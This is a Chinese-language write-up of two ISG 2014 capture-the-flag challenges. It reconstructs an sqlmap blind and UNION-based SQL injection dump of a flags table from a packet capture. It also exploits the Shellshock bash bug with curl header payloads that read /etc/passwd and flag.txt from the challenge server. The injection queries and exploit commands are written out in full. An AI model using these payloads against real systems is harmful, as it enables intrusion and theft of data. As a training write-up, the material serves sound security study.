ISG CTF 2014 Write-up (SQLMAP, Up-to-Date)

SQLMAP

题目很简单，就给了一个数据包：

数据包下载：sqlmap

从数据包看，http://10.0.0.201/message.php?id=``？存在注入点，利用sqlmap进行拖库。前段时间刚好分析过sqlmap`拖库过程，还算比较熟悉。

直接看关键点：

注入成功：

http://10.0.0.201/message.php?id=1 AND 1922=1922

返回：

Message #1 AND 1922=1922: The quick brown fox jumps over the lazy dog

注入失败：

http://10.0.0.201/message.php?id=1 AND 5345=8796

返回：

Message #1 AND 5345=8796:

可根据冒号后面是否有内容判断注入的SQL语句是否成功。

这里面值得注意，如果使用wireshark的follow tcp stream是看不到服务返回明文的,因为有gzip编码，直接双击返回的数据帧，line -based text data就可以显示明文了。

PS.当然也有捷径，比如用审计系统跑下包，直接出结果,一般人我不告诉他:D

有了上面基础知识后，很容易分析后面的数据包。

获取数据库：

http://10.0.0.201/message.php?id=-2060 UNION ALL SELECT NULL,CONCAT(0x7173636371,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x716f757371)#

返回：

Message #-2060 UNION ALL SELECT NULL,CONCAT(0x7173636371,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x716f757371)#: qsccqisgqousq
0x7173636371=qsccq,0x716f757371=qousq，后面同理，得到当前数据库为：isg

后面分别猜表名，列名：

Message #-7713 UNION ALL SELECT NULL,CONCAT(0x7173636371,IFNULL(CAST(COUNT(table_name) AS CHAR),0x20),0x716f757371) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x697367)#: qsccq2qousq

存在两个表

Message #-3380 UNION ALL SELECT NULL,(SELECT CONCAT(0x7173636371,IFNULL(CAST(table_name AS CHAR),0x20),0x716f757371) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x697367) LIMIT 0,1)#: qsccqflagsqousq

存在flags表

Message #-8854 UNION ALL SELECT NULL,(SELECT CONCAT(0x7173636371,IFNULL(CAST(table_name AS CHAR),0x20),0x716f757371) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x697367) LIMIT 1,1)#: qsccqmessagesqousq

存在messages表

Message #-8145 UNION ALL SELECT NULL,CONCAT(0x7173636371,IFNULL(CAST(COUNT(*) AS CHAR),0x20),0x716f757371) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x6d65737361676573 AND table_schema=0x697367#: qsccq2qousq

messages表有两行记录

Message #-2023 UNION ALL SELECT NULL,(SELECT CONCAT(0x7173636371,IFNULL(CAST(column_name AS CHAR),0x20),0x70767673756c,IFNULL(CAST(column_type AS CHAR),0x20),0x716f757371) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x6d65737361676573 AND table_schema=0x697367 LIMIT 1,1)#: qsccqvaluepvvsultinytextqousq

messages表列名是value，类型是tinytext

Message #-8873 UNION ALL SELECT NULL,(SELECT CONCAT(0x7173636371,IFNULL(CAST(`value` AS CHAR),0x20),0x716f757371) FROM isg.messages ORDER BY `value` LIMIT 0,1)#: qsccqThe quick brown fox jumps over the lazy dogqousq

isg.messages中内容为：The quick brown fox jumps over the lazy

Message #-2064 UNION ALL SELECT NULL,(SELECT CONCAT(0x7173636371,IFNULL(CAST(column_name AS CHAR),0x20),0x70767673756c,IFNULL(CAST(column_type AS CHAR),0x20),0x716f757371) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x666c616773 AND table_schema=0x697367 LIMIT 1,1)#: qsccqvaluepvvsultinytextqousq

flags表列名为value，类型tinytext

Message #-3413 UNION ALL SELECT NULL,CONCAT(0x7173636371,IFNULL(CAST(COUNT(`value`) AS CHAR),0x20),0x716f757371) FROM isg.flags#: qsccq1qousq

flags有一行记录

http://10.0.0.201/message.php?id=-3324 UNION ALL SELECT NULL,(SELECT CONCAT(0x7173636371,IFNULL(CAST(`value` AS CHAR),0x20),0x716f757371) FROM isg.flags ORDER BY `value` LIMIT 0,1)#

直接查询flags表，没有返回结果。后面采用单字符猜测

MID()函数取第一个字符，MID(text,1,1),从第一个字符开始取一个字符

ORD把字符转换成ASCII码

根据ASCII码比较大小猜测是什么字符，比如下面是猜第一个字符，有The quick brown fox jumps over the lazy dog说明猜对了

Message #1 AND ORD(MID((SELECT IFNULL(CAST(`value` AS CHAR),0x20) FROM isg.flags ORDER BY `value` LIMIT 0,1),1,1))>64: The quick brown fox jumps over the lazy dog
Message #1 AND ORD(MID((SELECT IFNULL(CAST(`value` AS CHAR),0x20) FROM isg.flags ORDER BY `value` LIMIT 0,1),1,1))>96:
Message #1 AND ORD(MID((SELECT IFNULL(CAST(`value` AS CHAR),0x20) FROM isg.flags ORDER BY `value` LIMIT 0,1),1,1))>80:
Message #1 AND ORD(MID((SELECT IFNULL(CAST(`value` AS CHAR),0x20) FROM isg.flags ORDER BY `value` LIMIT 0,1),1,1))>72: The quick brown fox jumps over the lazy dog
Message #1 AND ORD(MID((SELECT IFNULL(CAST(`value` AS CHAR),0x20) FROM isg.flags ORDER BY `value` LIMIT 0,1),1,1))>76:
Message #1 AND ORD(MID((SELECT IFNULL(CAST(`value` AS CHAR),0x20) FROM isg.flags ORDER BY `value` LIMIT 0,1),1,1))>74:
Message #1 AND ORD(MID((SELECT IFNULL(CAST(`value` AS CHAR),0x20) FROM isg.flags ORDER BY `value` LIMIT 0,1),1,1))>73:

可以看出第一个字符ASCII码大于72，小于74，结果是73，对应字符是大写的I

同理，可得出ASCII为：

73,83,71,123,66,76,105,110,100,95,83,81,108,95,73,110,74,69,99,84,105,48,78,95,68,101,84,69,99,84,69,100,125

对应字符为：ISG{BLind_SQl_InJEcTi0N_DeTEcTEd}。

Up-to-Date

ISG-2014-UP-TO-DATE

这道题目更新得比较迟，分值只有100，估计是临时出的题目。网站就一个首页，也没别的了

ISG-2014-UP-TO-DATE2

与其他web题目不一样，试了下首页文件，不是index.php,index.htm,index.html,default.php,default.htm,default.html

要不题目有意隐藏了首页文件，要么后缀不对。猜测网页可能是其他后缀名，莫非是CGI？结合题目提示“每周更新服务器，以确保flag.txt安全”，让人联想到前几天爆的bash漏洞。详参：http://coolshell.cn/articles/11973.html

果然，是这个漏洞！这应该是最快将BASH漏洞作为CTF题目的比赛了吧:D

利用命令查看服务passswd文件：

curl -H 'b:() { :; };a=` /bin/cat /etc/passwd `;echo "a=$a";' http://202.112.26.125:8888/ -I

ISG-2014-bash

使用ls查看目录，最后发现flag.txt在/var/www下面

于是：

curl -H 'b:() { :; };a=` /bin/cat /var/www/flag.txt`;echo "a:$a";' http://202.112.26.125:8888/ -I